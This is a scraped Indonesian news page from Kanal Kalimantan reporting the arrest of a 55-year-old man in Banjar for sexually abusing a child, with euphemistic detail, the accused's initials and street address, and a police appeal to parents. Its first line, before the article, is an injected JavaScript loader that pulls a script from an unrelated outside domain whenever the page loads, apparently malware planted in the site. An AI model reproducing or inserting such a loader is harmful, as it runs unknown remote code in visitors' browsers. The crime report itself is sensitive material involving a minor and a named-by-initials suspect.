(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pria 55 Tahun Ini Coba Masukan ‘Si Burung’ Bukan ke ‘Sangkarnya’


MARTAPURA , Kasus pencabulan anak di bawah umur kembali terjadi, kali ini Polsek Kertak Hanyar mengungkap pencabulan anak di bawah umur yang terjadi di  Desa Simpang Empat, Kecamatan Kertak Hanyar, Kabupaten Banjar.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Kertak Hanyar Iptu Prastya Yana WA mengungkapkan, kejadian miris tersebut terjadi pada hari Sabtu (4/8) sekitar pukul 22.30 Wita, namun baru dilaporkan orang tua korban setelah 2 hari berselang dari kejadian tersebut.

“Aksi persetubuhan itu terjadi hari Sabtu pekan lalu, tapi baru dilaporkan pada hari Selasa kemarin sekitar pukul 12.30 Wita,” ungkap Kapolsek Kertak Hanyar, Kamis (9/8).

Pelaku yaitu AH (55), yang tercatat sebagai warga Jalan Prona IV No 02 RT 34 RW 002 Kelurahan Pemurus Baru, Kecamatan Banjarmasin Selatan, Kota Banjarmasin. AH diketahui kesehariannya berprofesi sebagai buruh  harian lepas.

Orang tua korban sendiri baru mengetahui peristiwa itu setelah anaknya RA, memberitahukan bahwa dirinya telah dicabuli AH di dalam kamarnya dengan melepaskan baju.

Tidak sampai di situ pelaku AH, kemudian melepas celana dan langsung menciumi pipi RA lalu memasukkan ‘si burung’ ke dalam ‘sangkar yang bukan tempatnya’.

Sebelum akhirnya selesai, AH segera memasang kembali celananya karena kerabat RA datang ke rumah. Mengetahui kondisi sudah tidak aman AH kemudian pergi meninggalkan rumah. Tidak terima kejadian itu pada anaknya, orang tua korban kemudian melapor ke Polsek Kertak Hanyar.

Petugas Polsek Kertak Hanyar dengan sigap melakukan pencarian terhadap AH yang sudah diketahui identitasnya tersebut. Alhasil, pria setengah abad lebih itu berhasil diringkus dan digiring Mapolsek Kertak Hanyar guna proses hukum lebih lanjut.

Kapolsek Kertak Hanyar Iptu Prastya Yana WA menghimbau kepada masyarakat khususnya orang tua untuk lebih mengawasi dan memantau anak-anak di rumah maupun di luar rumah, agar terhindar dari pelaku pelaku kejahatan seksual.

“Lindungi anak anak kita dengan selalu mengawasi setiap kegiatannya, dimanapun dan kapanpun apalagi kalau masih di bawah umur. Lebih komunikatif orang tua kepada anak,” pungkasnya.

Untuk pelaku AH sendiri dijerat dengan pasal 81 ayat 2 sub pasal 76 huruf b tentang perlindungan anak dengan ancaman maksimal 15 tahun penjara. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

21 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.